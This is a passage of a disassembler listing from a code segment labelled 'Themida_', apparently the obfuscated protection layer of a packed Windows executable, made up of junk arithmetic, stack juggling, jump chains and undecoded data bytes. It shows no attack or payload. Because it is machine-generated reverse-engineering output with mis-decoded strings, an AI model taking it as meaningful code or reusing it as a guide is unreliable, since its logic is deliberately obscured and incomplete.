		push	ecx
		mov	ecx, 7F0084A5h
		add	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, esi
		push	ecx
		jmp	loc_55DDA4
; ---------------------------------------------------------------------------

loc_55B126:				; CODE XREF: Themida_:005572ACj
		shl	esi, 3
		sub	esi, 638E2039h
		neg	esi
		shr	esi, 4
		add	esi, 0FF9CD251h
		add	ebp, esi
		pop	esi
		sub	ebp, 80B7859Eh
		add	edi, 0BCB0750h
		jmp	loc_560687
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 0FF7BF4E9h, 241C89FFh, 0FFCAE0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B15D:				; CODE XREF: Themida_:0056614Bj
		sub	ebx, 1
		neg	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5625FF
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 12h
		dd 561E267Dh, 93B0E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B179:				; CODE XREF: Themida_:005567F6j
		and	esi, edi
		pop	edi
		jmp	loc_563696
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 1Bh
		dd 814BEE4Ch, 1600DCF5h, 81D5F701h, 0D8093AEDh,	4EC812Ch
		dd 89000000h, 62E9241Ch
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B1A3:				; CODE XREF: Themida_:0055EAE4j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_552DE7
; ---------------------------------------------------------------------------
		dd 2726C02Dh, 242C8B50h, 4C481h, 0EC830000h, 0D041E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B1C2:				; CODE XREF: Themida_:00561339j
		shl	ecx, 7
		xor	ecx, 0B061B804h
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		jmp	loc_563C22
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4BB53h, 0DA010000h, 0A0B5E95Bh, 14890000h, 98685724h
		dd 5F4C7358h, 0FF8C91E9h, 8B5259FFh, 98E9243Ch,	59000068h
		dd 0A8B5E956h, 0EC83FFFFh, 10A5E904h, 69BA0000h, 811D7660h
		dd 0D2790CF2h, 0E9E2D145h, 0B735h
; ---------------------------------------------------------------------------

loc_55B220:				; CODE XREF: Themida_:00556990j
		pop	dword ptr [esp]
		pop	esp
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	ecx, 2
		push	ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 411A63BDh
		neg	ebp
		jmp	loc_566337
; ---------------------------------------------------------------------------
dword_55B248	dd 240C8B66h, 0FF73D2E9h, 2404FEFFh, 5FEE95Bh, 0C890000h
					; DATA XREF: Themida_:0055149Co
		dd 53E18924h, 45876852h, 148B1DFAh, 4C48324h, 7C9AF281h
		dd 0C2815A42h, 67166054h, 6270BB53h, 0C1432C4Ch, 0C38108EBh
		dd 0B0F2916h, 3340E381h, 0C38151C5h, 2AD72AD2h,	815BDA29h
		dd 0F63D5BEAh, 5AD38982h, 685BD901h, 1082h, 0BA241489h
		dd 4, 0FFEB5AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B2B5:				; CODE XREF: Themida_:00555B83j
		mov	eax, 4B062012h
		jmp	loc_55797E
; ---------------------------------------------------------------------------
		db 31h
		dd 3C33243Ch, 34FF5C24h, 54505F24h, 40558h, 0B9510000h
		dd 657D168Dh, 6568E981h, 25E9675Eh, 6800008Ah, 5458h, 1773E9h
		dd 4EC8300h, 54243489h,	0FF8A4EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B2F9:				; CODE XREF: Themida_:0055D416j
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	ecx, 75F86E0Ah
		add	ecx, ebp
		push	ebx
		mov	ebx, 560C4715h
		xor	ebx, 56BB2325h
		or	ebx, 57B7404Dh
		xor	ebx, 58F92ED3h
		and	ebx, 3C0645Fh
		or	ebx, 52D25E3Fh
		add	ebx, 22260FCBh
		sub	ecx, ebx
		jmp	loc_556FF8
; ---------------------------------------------------------------------------

loc_55B339:				; CODE XREF: Themida_:00556713j
		sub	dl, 1Eh
		add	dl, 0Ch
		xor	bl, dl
		pop	edx
		jmp	loc_552CB0
; ---------------------------------------------------------------------------
		db 53h
		dd 16240481h, 0E912C04Bh, 0FFFF61D2h, 321436BEh, 0AFE6817Bh
		dd 5679D656h, 0E92414F7h, 2EE4h, 815EF201h, 4C2h, 24148700h
		dd 3CE9565Ch, 53FFFFD5h, 8952E389h, 4C281E2h, 57000000h
		dd 1681E9h, 24048900h, 0FFF0FAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B395:				; CODE XREF: Themida_:00556D06j
		add	al, dl
		add	al, 0Ch
		jmp	loc_55BEC2
; ---------------------------------------------------------------------------
aUBug?lsT	db ')Н]│Н┐,?lИ╦t',0
		align 4
		dd 0E9AECE80h, 0FFFF73E0h, 4C481h, 0B5510000h, 3EDC09Bh
		dd 0C007E5C0h, 0BFE907E5h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B3CB:				; CODE XREF: Themida_:00562811j
		add	edi, 2DA225DEh
		jmp	loc_5621E4
; ---------------------------------------------------------------------------
		dw 0FF50h
		dd 0E9042474h, 8CE4h, 4C681h, 34870000h, 85E95C24h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B3EF:				; CODE XREF: Themida_:0055C366j
		mov	al, 66h
		xor	al, 3
		push	536Bh
		mov	[esp], ecx
		mov	cl, 54h
		or	al, cl
		pop	ecx
		not	al
		jmp	loc_565EAF
; ---------------------------------------------------------------------------
		db 89h
		dd 2682404h, 8900003Fh,	66532414h, 6605D7BBh, 665C16BAh
		dd 665BDA29h, 0E901C283h, 0FFFF9F1Ch
; ---------------------------------------------------------------------------

loc_55B428:				; CODE XREF: Themida_:0055166Cj
		add	esp, 4
		push	esi
		jmp	loc_556F1D
; ---------------------------------------------------------------------------
dword_55B434	dd 0FF2434FFh, 81582434h, 4C4h,	1A0B6800h, 0C890000h, 1BDAE924h
					; DATA XREF: Themida_:00551294o
		dd 0E9580000h, 0FFFFF6DAh
; ---------------------------------------------------------------------------

loc_55B454:				; CODE XREF: Themida_:005550EEj
		add	edx, edi
		pop	edi
		jmp	loc_55E0DB
; ---------------------------------------------------------------------------
aFq		db 'fQ╠Л',0
		db 0CCh, 66h, 59h
		dd 2858E730h, 241C8BF8h, 4C481h, 0E95A0000h, 3C2Dh
; ---------------------------------------------------------------------------

loc_55B478:				; CODE XREF: Themida_:0055BD7Cj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5583F0
; ---------------------------------------------------------------------------
aHof		db '©hO■',0
		db 81h
		dd 9A5EBEE7h, 2EFC140h,	8103E7C1h, 0DF63B1C7h, 0F348E9FEh
		dd 0E681FFFFh, 57676513h, 2AB5F681h, 0F7015489h, 840EE95Eh
		dd 1C890000h, 4BE5624h,	89000000h, 0B8505EF3h, 2B401B9Ch
		dd 0E8D1E0D1h, 7D644635h, 58C20127h, 0A4E9DA01h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B4DF:				; CODE XREF: Themida_:00565409j
		pop	edi
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	[esp+4], ebp
		add	dword ptr [esp+4], 0AB91301h
		pop	ebp
		pop	dword ptr [edi+24h]
		jmp	loc_558AEC
; ---------------------------------------------------------------------------

loc_55B50A:				; CODE XREF: Themida_:00558CE2j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	edx, 1
		push	eax
		jmp	loc_564D2A
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0B13900BAh, 2599E97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B52A:				; CODE XREF: Themida_:00562005j
		pop	dx
		pop	ecx
		jmp	loc_561D58
; ---------------------------------------------------------------------------
		dw 0FF2Dh
		dd 0E9FFFFFFh, 7E51h
; ---------------------------------------------------------------------------

loc_55B53C:				; CODE XREF: Themida_:00558B4Bj
		sub	esp, 4
		jmp	loc_55F052
; ---------------------------------------------------------------------------
dword_55B544	dd 8B2434FFh, 89E92404h, 31000052h, 34332434h, 24248B24h
					; DATA XREF: Themida_:00551328o
		dd 0FF7C8DE9h, 0B60F66FFh, 316866CCh, 50CEE938h, 7CE90000h
		dd 0FEFFFF5Fh, 2E4C0C4h, 0F480DCF6h, 8BE328C0h,	0C4832404h
		dd 0EDC38004h, 0EB80D328h, 0CC380EDh, 9EF2E95Ah
		db 2 dup(0)
word_55B592	dw 8B66h		; DATA XREF: Themida_:00551240o
		dd 0BE9240Ch
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B59B:				; CODE XREF: Themida_:0055A87Cj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_552CE3
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8124048Bh, 4C4h, 5B545300h, 4C381h, 0C3830000h, 241C8704h
		dd 0F6E5865Ch, 30E530D4h, 0E9E530ECh, 0FFFFA5CBh
; ---------------------------------------------------------------------------

loc_55B5D4:				; CODE XREF: Themida_:00556D1Bj
		mov	ebx, 7E1B7744h
		or	ebx, 3956CF9h
		dec	ebx
		jmp	loc_565C5B
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 2Dh
		dd 0E94DFE56h, 5505h, 0CDE9F729h, 55FFFF94h, 3D24B768h
		dd 0CFADE934h, 2D58FFFFh, 7096354h, 89D8015Fh, 2434FF08h
		dd 4C48158h, 0FF000000h, 34FF2434h, 0C13DE924h,	0B8FFFFh
		dd 0E9000000h, 4684h, 24E9525Ch, 45FFFFECh, 0FAF58145h
		dd 0E9781F30h, 0A906h, 592434FFh, 81E78957h, 4C7h, 0AC00E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B652:				; CODE XREF: Themida_:005651CDj
		mov	[esp], esp
		jmp	loc_561507
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8704C283h, 0E95C2414h, 6775h, 49B3C581h, 875E082Eh
		dd 895C242Ch, 0D5B9240Ch, 4173303Ah, 0FFA952E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B685:				; CODE XREF: Themida_:00557BD5j
		sub	al, cl
		pop	ecx
		jmp	loc_560B1A
; ---------------------------------------------------------------------------
byte_55B68D	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:00551414o
		dd 0FBB25253h, 0F280CAFEh, 6EAC06Fh, 0FFEB67E9h, 81515EFFh
		dd 4ECh, 24148900h, 2BAh, 0E9D18900h, 0FFFFED6Ch, 74FF5359h
		dd 0E95B0424h, 9D82h, 0B258E95Ch, 0CA29FFFFh, 6717EA81h
		dd 31E91A03h, 89FFFFABh, 0CD015AD1h, 4C8DE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B6E1:				; CODE XREF: Themida_:00557DA0j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_563201
; ---------------------------------------------------------------------------

loc_55B6EF:				; CODE XREF: Themida_:0055F8ADj
		pop	edx
		push	esi
		mov	esi, 15BB14A6h
		not	esi
		jmp	loc_56493C
; ---------------------------------------------------------------------------

loc_55B6FD:				; CODE XREF: Themida_:005663A6j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 1E8E46B1h
		sub	ecx, 1
		push	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5959393Ah
		sub	esi, 1224D5A7h
		mov	edi, esi
		pop	esi
		shr	edi, 8
		jmp	loc_55AE5D
; ---------------------------------------------------------------------------
		align 10h
		dd 77EA80C2h, 2EB55158h, 2859E828h, 4EC83D0h, 0B5240C89h
		dd 0F8042Eh, 59F82CE8h,	8124148Bh, 4C4h, 68C33000h, 7901h
		dd 54242C89h, 52B8505Dh, 0C10B9868h, 542503E0h,	0E9658F59h
		dd 13AAh
; ---------------------------------------------------------------------------

loc_55B774:				; CODE XREF: Themida_:00558E8Ej
		xor	esi, [esp]
		jmp	loc_552A64
; ---------------------------------------------------------------------------

loc_55B77C:				; CODE XREF: Themida_:0055E581j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	edx, edx
		jmp	loc_55480D
; ---------------------------------------------------------------------------

loc_55B78D:				; CODE XREF: Themida_:0055BA5Aj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	1C0Ch
		jmp	loc_55E773
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 77EE924h,	0CF000000h, 5BFA0059h, 0FFFF76E9h
		dd 24048FFFh, 8904EC83h, 468243Ch, 8B000000h, 0C481243Ch
		dd 4, 4244481h,	7EF572EAh, 4247C01h, 0FFF29FE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_555A06
; ---------------------------------------------------------------------------

loc_55B7F6:				; CODE XREF: Themida_:00556B15j
		push	dword ptr [esp]
		jmp	loc_55F424
; ---------------------------------------------------------------------------
aPGjw@@sxg	db 'P╦эG╕W@@Иxg',0
		dw 6600h
		dd 661E4DBDh, 2C816655h, 6656E924h, 0C681665Eh,	8CE956E9h
		dd 0B5000035h, 55F58025h, 8002B450h, 0E52863F4h, 52D5F658h
		dd 0F28013B2h, 5AD508C2h, 0E988C580h, 0B45Ch, 5C240C87h
		dd 2E5C15Fh, 2414F755h,	0E9242C8Bh, 0FFFFF2B2h,	8047F380h
		dd 0B55187EBh, 53ED80F3h, 8859EB00h, 76ABE9D9h,	0C780FFFFh
		dd 4EFC020h, 0FFA768E9h, 0C68158FFh, 48AB28ECh,	0E951C601h
		dd 0A1A9h
; ---------------------------------------------------------------------------

loc_55B888:				; CODE XREF: Themida_:00560B20j
		push	ecx
		mov	ch, 0CEh
		inc	ch
		jmp	loc_56487F
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0F5E95424h, 8100001Bh, 18424CF2h, 6BBE5607h,	130750Bh
		dd 0F2815EF2h, 48085EA1h, 295AD029h, 3444E9C6h
		db 2 dup(0)
word_55B8BA	dw 8B66h		; DATA XREF: Themida_:00551374o
		dd 3C68240Ch, 89000019h, 0FF54243Ch, 815F2434h,	4C4h, 4C78100h
		dd 0E9000000h, 0FFFFD035h, 52B95153h, 894B1501h, 904AE9CBh
		dd 0D0F7FFFFh, 9BFFF135h, 0C298E9BFh, 0C681FFFFh, 6CE6345Ch
		dd 0BD55575Bh, 8450DFh,	8450DDBFh, 5DEF3100h, 335FFE01h
		dd 38E92434h, 48FFFFFCh, 31E95657h, 52000057h, 0E0243481h
		dd 587F9B26h, 0FF914EE9h, 24048FFFh, 4240481h, 8B000000h
		dd 0C4832414h, 23DD6804h, 3C890000h, 7001BF24h,	0C78174F6h
		dd 1, 7006F781h, 0FA0174F6h, 81243C8Bh,	4C4h, 7ABE5600h
		dd 81657466h, 1C6h, 2E6C100h, 483E9h, 0E9EF3100h, 9CDBh
; ---------------------------------------------------------------------------

loc_55B97C:				; CODE XREF: Themida_:00554DF2j
		add	esp, 4
		jmp	loc_55C2AC
; ---------------------------------------------------------------------------
		db 54h
		dd 4C5815Dh, 0E9000000h, 3564h
; ---------------------------------------------------------------------------

loc_55B994:				; CODE XREF: Themida_:00556466j
		xor	[esp+4], edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_55A825
; ---------------------------------------------------------------------------
		dd 0A33237B9h, 11F1814Dh, 81651407h, 0C64917C6h, 0E9BE918h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B9C2:				; CODE XREF: Themida_:00559DEDj
		movzx	ax, byte ptr [eax]
		push	small 1B66h
		mov	[esp], ax
		jmp	loc_5514EB
; ---------------------------------------------------------------------------

loc_55B9D3:				; CODE XREF: Themida_:0055A1B1j
		jmp	loc_5514EB
; ---------------------------------------------------------------------------

loc_55B9D8:				; CODE XREF: Themida_:0055A2D6j
		add	edx, 2C9B7847h
		sub	edx, 4926689Eh
		sub	ebp, edx
		pop	edx
		add	ebp, 6C03C07Eh
		jmp	loc_555DE7
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 81E38924h, 4C3h, 4C38300h, 0E9241C87h, 0FFFFFC24h, 5004C483h
		dd 0CD6A7668h, 0C329587Ah, 8124048Bh, 4C4h, 75E95E00h
		dd 59FFFFD6h, 8601E9h, 86F28000h, 4D89E9h, 242C8B00h, 0FF972BE9h
		dd 0A3B252FFh, 0E88E9h,	24048100h, 14355044h, 3938E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BA4D:				; CODE XREF: Themida_:0055E164j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55B78D
; ---------------------------------------------------------------------------
		db 54h
		dd 40558h, 0BF570000h, 4, 0FFEEEDE9h, 0EE95CFFh, 0BDFFFFD6h
		dd 0F7F59D6h, 0F587D5F7h, 0FF7568E9h, 3DBD55FFh, 0E96A602Dh
		dd 758Bh, 8103E1C1h, 8771A4F1h,	0B2EB81F7h, 1330023h, 0B2C381CBh
		dd 0E9330023h, 30DFh, 0D2F79259h, 0F7974892h, 54097D7h
		dd 681C72B1h, 0FFB5E955h, 148BFFFFh, 4C48124h, 87000000h
		dd 575C243Ch, 42474FFh,	24048F5Fh, 7EA9E95Ch, 0D1F7FFFFh
		dd 1C18C981h, 0E9313DCBh, 0E931CD31h, 0E987D5F7h, 22C4BF57h
		dd 0F931729Ah, 0E9C8315Fh, 0FFFFC5E3h, 0F704EEC1h, 4EC83DEh
		dd 0E9242C89h, 9401h
; ---------------------------------------------------------------------------

loc_55BB10:				; CODE XREF: Themida_:00557360j
		xor	ebx, [edx]
		pop	edx
		xor	[edi+24h], ebx

loc_55BB16:				; CODE XREF: Themida_:00560609j
		push	46DBh
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		push	ebp
		mov	ebp, 79DC7951h
		mov	eax, 862386B3h
		add	eax, ebp
		pop	ebp
		jmp	loc_565454
; ---------------------------------------------------------------------------
		dd 2404875Ch, 0E924248Bh, 0FFFF746Ah, 0FF59A6E9h, 0FD295FFFh
		dd 81D5015Fh, 80400EC5h, 31C58114h, 5A360207h, 7AB568h
		dd 242C8900h, 42474FFh,	0FFBDEEE9h, 3E0C1FFh, 0BB071635h
		dd 54D43520h, 0C231189Fh, 0E924048Bh, 4B12h, 0FFEB0158h
		dd 835D2434h, 0BA5204C4h, 4, 4520B951h,	0EB81312Eh, 1AF7382Dh
		dd 0C381CB01h, 1AF7382Dh, 52D30159h, 0DA6C9FBAh, 84CA8121h
		dd 0E9196B7Ah, 0FFFFA169h, 8124348Bh, 4C4h, 81EB0100h
		dd 7F680BEBh, 2434FF25h, 0FFA62BE9h, 2DF801FFh,	4E6B4D26h
		dd 0DD32B405h, 0DF3CE913h, 0F181FFFFh, 0FBEDCFB2h, 8159CD01h
		dd 4C5h, 242C8700h, 6A66E95Ch, 0CE810000h, 2E3932B6h, 7CB26853h
		dd 505B7F76h, 0E41404B8h, 58C3292Ah, 3402BF57h,	9CE92C68h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BC1B:				; CODE XREF: Themida_:00565177j
		mov	edx, 22BC48A1h
		not	edx
		sub	esp, 4
		mov	[esp], edx
		xor	[esp], esi
		jmp	loc_551F48
; ---------------------------------------------------------------------------
		db 5Bh
		dd 15FF829h, 0F6BF57D0h, 55688144h, 0FFE005E9h,	1CE958FFh
		dd 8300006Ah, 0EE8101C6h, 769E0568h, 2404FF56h,	1614685Eh
		dd 14890000h, 426FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BC66:				; CODE XREF: Themida_:00560EBFj
		mov	[esp], ebp
		jmp	loc_55C56D
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 0E8835EF0h, 74FF5004h, 48B0424h, 0E1895124h
		dd 14ABE9h
		db 0
; ---------------------------------------------------------------------------

loc_55BC89:				; CODE XREF: Themida_:00555F0Fj
		mov	[esp], eax
		mov	eax, esp
		push	ecx
		push	ebx
		push	615E713Bh
		pop	ebx
		shl	ebx, 6
		shr	ebx, 8
		add	ebx, 171B8968h
		mov	ecx, ebx
		pop	ebx
		neg	ecx
		add	ecx, 73DA7DBBh
		jmp	loc_561CB8
; ---------------------------------------------------------------------------

loc_55BCB2:				; CODE XREF: Themida_:00551C1Cj
		xor	[esp], ebp
		jmp	loc_56339A
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 46902A64h, 0BD5AD389h, 1DE372F9h, 0E5D1454Dh, 81DDF745h
		dd 571053C5h, 0FFDD3182h, 0E2E92434h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BCDF:				; CODE XREF: Themida_:005537C2j
		xor	ecx, [esp]
		jmp	loc_56218B
; ---------------------------------------------------------------------------
		db 5
		dd 4, 0FFEDE5E9h, 4BAFFh, 0E9810000h, 493052FAh, 0F3E9D101h
		dd 810000A7h, 4C4h, 0BCF38100h,	0FF411D7Eh, 525A2434h
		dd 0FF77E1E9h, 4C483FFh, 1B850h, 0C2290000h, 8047E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BD2A:				; CODE XREF: Themida_:00558C85j
		mov	edi, 71612AFEh
		xor	edi, 31D545A4h
		sub	edx, edi
		mov	edi, [esp]
		jmp	loc_5525E4
; ---------------------------------------------------------------------------
aIcpwsU		db '┴ГPWИ°·',0
		align 4

loc_55BD48:				; CODE XREF: Themida_:005549CCj
		sub	esi, 0D01964A5h
		mov	ebx, esi
		pop	esi
		add	eax, ebx
		jmp	loc_55A09D
; ---------------------------------------------------------------------------

loc_55BD58:				; CODE XREF: Themida_:00566DBDj
		pop	ebp
		sub	edi, 0BCB0750h
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	[esp+4], edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_55B478
; ---------------------------------------------------------------------------
		db 53h,	89h, 0E3h
		dd 5F8BE56h, 0CE817358h, 8A50098h, 6D23C681h, 0EE8125C2h
		dd 6E3055F9h, 4BF4C681h, 0F6814690h, 5A5B2E51h,	4E80E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BDAD:				; CODE XREF: Themida_:005649EFj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_556A35
; ---------------------------------------------------------------------------

loc_55BDBB:				; CODE XREF: Themida_:005521F7j
		push	ecx
		jmp	loc_557D98
; ---------------------------------------------------------------------------
byte_55BDC1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00551368o
aHZ		db '$hыZ',0
		align 2
		dw 3489h
		dd 815E5424h, 4C6h, 347E6800h, 14890000h, 9EE95424h, 9FFFF83h
		dd 81CEE9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BDEA:				; CODE XREF: Themida_:00552A7Ej
		push	ecx
		jmp	loc_552838
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFFE53Dh, 0B850D6F7h, 0FFFFFFFFh, 0D6E9C629h
		dd 68FFFFD2h, 43BEh, 54240C89h,	592434FFh, 0FFE527E9h
		dd 0FAB2B9FFh, 0CF89280Ah, 0E9240C8Bh, 0FFFFE5CBh, 4244481h
		dd 64D977ABh, 2434FF58h
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	ecx, 4
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_564096
; ---------------------------------------------------------------------------

loc_55BE6C:				; CODE XREF: Themida_:005570D3j
		pop	edi
		push	ecx
		mov	ecx, 13757A94h
		dec	ecx
		sub	ecx, 24D911B5h
		not	ecx
		shr	ecx, 4
		add	ecx, 44872F1Ah
		add	eax, ecx
		pop	ecx
		sub	eax, edx
		sub	eax, 459D688Ch
		mov	edx, [esp]
		push	6B7Fh
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_55374D
; ---------------------------------------------------------------------------

loc_55BEA1:				; CODE XREF: Themida_:00555131j
		push	70713461h
		pop	edi
		shl	edi, 4
		shl	edi, 2
		push	29DAh
		mov	[esp], edx
		mov	edx, 0AD04E867h
		sub	edi, edx
		pop	edx
		jmp	loc_554C84
; ---------------------------------------------------------------------------

loc_55BEC2:				; CODE XREF: Themida_:0055B399j
		add	al, 0F4h
		mov	dx, [esp]
		add	esp, 2
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_55C35D
; ---------------------------------------------------------------------------
aRAS		db 'R╤A╥≥',0
		db 0F7h
		dd 5CD9E95Ah, 0CDBFFFFFh, 31506C07h, 9CE958C7h,	2800006Ah
		dd 0D22C59EAh, 0D0001D04h, 0B1511D2Ch, 0CE04D2h, 59CE2CC8h
		dd 24148B66h, 6802C483h, 1586h,	0E9241489h, 0FFFFC980h
		dd 0E9F10158h, 0FFFFDE02h, 5C241433h, 8904EC83h, 0B951243Ch
		dd 50A868B1h, 0E959CF89h, 0FFFF9CD2h
; ---------------------------------------------------------------------------

loc_55BF44:				; CODE XREF: Themida_:00555D51j
		mov	[esp], edi
		push	ebx
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	745D71ECh
		pop	ebx
		shr	ebx, 3
		xor	ebx, 0A80842Dh
		mov	ebp, ebx
		pop	ebx
		add	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 69CC2A98h
		push	edx
		not	dword ptr [esp]
		pop	edx
		add	edx, 6DD754A9h
		jmp	loc_55806D
; ---------------------------------------------------------------------------
		dw 0C180h
		dd 21E9521Ah, 0B6000049h, 0F6C686E5h, 80C686D0h, 0C5809FF6h
		dd 80F528D5h, 148BD5EDh, 8632E924h, 89510000h, 0ABA4E9E1h
		dd 14310000h, 24143324h, 243C895Ch, 268h, 243C8B00h, 0FFA47EE9h
		dd 240C8BFFh, 0FFB8B6E9h, 405FFh, 0EC830000h, 242C8904h
		dd 317CBB53h, 88BD6FE7h, 19018CEh, 0E8295BDDh, 9D99E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C016:				; CODE XREF: Themida_:00562C51j
		mov	[esp], eax
		push	1111h
		mov	[esp], ecx
		push	edi
		push	ebp
		jmp	loc_55451B
; ---------------------------------------------------------------------------

loc_55C028:				; CODE XREF: Themida_:0055FFF3j
		pop	esi
		xor	ecx, 73BF6D64h
		add	ecx, 0FFFFFFFFh
		dec	ecx
		and	ecx, 3B6A2477h
		sub	ecx, 0C581FCC7h
		jmp	loc_551FF3
; ---------------------------------------------------------------------------
		dd 4EC8155h, 89000000h,	0CEB82404h, 0E97DFB3Fh,	0AA0Ah
		dd 1C3A6852h, 0C15A442Eh, 0E2C105EAh, 4A2EE905h, 0E95D0000h
		dd 38F6h, 3124248Bh, 76EA81C3h,	500A7965h, 56FE6852h, 0C15A5DC9h
		dd 0C28102EAh, 3EB5290Bh, 19E4F281h, 0D0890489h, 8124148Bh
		dd 4C4h, 58C22900h, 2602BE56h, 0EE8162D9h, 0FC22B11Bh
		dd 7D13E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C0B1:				; CODE XREF: Themida_:0055EFBCj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_56558F
; ---------------------------------------------------------------------------

loc_55C0BF:				; CODE XREF: Themida_:00565774j
		xor	ebp, ecx
		jmp	loc_555FB6
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0F66AB124h, 0AEC980D9h, 0C180C1FEh, 86F18040h, 534CC180h
		dd 0FC88CF88h, 0CCFE595Bh, 2844EC80h, 0ADE9E7h,	50590000h
		dd 405E089h, 2D000000h,	4, 5C240487h, 0FFF050E9h
		db 0FFh
byte_55C105	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055124Co
		dd 4EC8324h, 54240C89h,	3964E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C115:				; CODE XREF: Themida_:00561AA4j
		neg	ebp
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		jmp	loc_56513B
; ---------------------------------------------------------------------------

loc_55C121:				; CODE XREF: Themida_:00551506j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55FEA7
; ---------------------------------------------------------------------------
		dw 83B2h
		dd 885AD088h, 24048BC5h, 4C481h, 0DD000000h, 0FFEB005Bh
		dd 0E9592434h, 76C1h, 8032C980h, 0F18034F1h, 0E9CA20AEh
		dd 0FFFF66C5h, 2EBC15Bh, 25E9574Bh, 68FFFF7Ah, 6BF8h, 0FF7A3CE9h
		dd 4EC83FFh, 0E9241C89h, 536Fh
; ---------------------------------------------------------------------------

loc_55C178:				; CODE XREF: Themida_:00565954j
		push	esi
		mov	esi, 77315470h
		jmp	loc_55A3D5
; ---------------------------------------------------------------------------

loc_55C183:				; CODE XREF: Themida_:00559688j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55AEFF
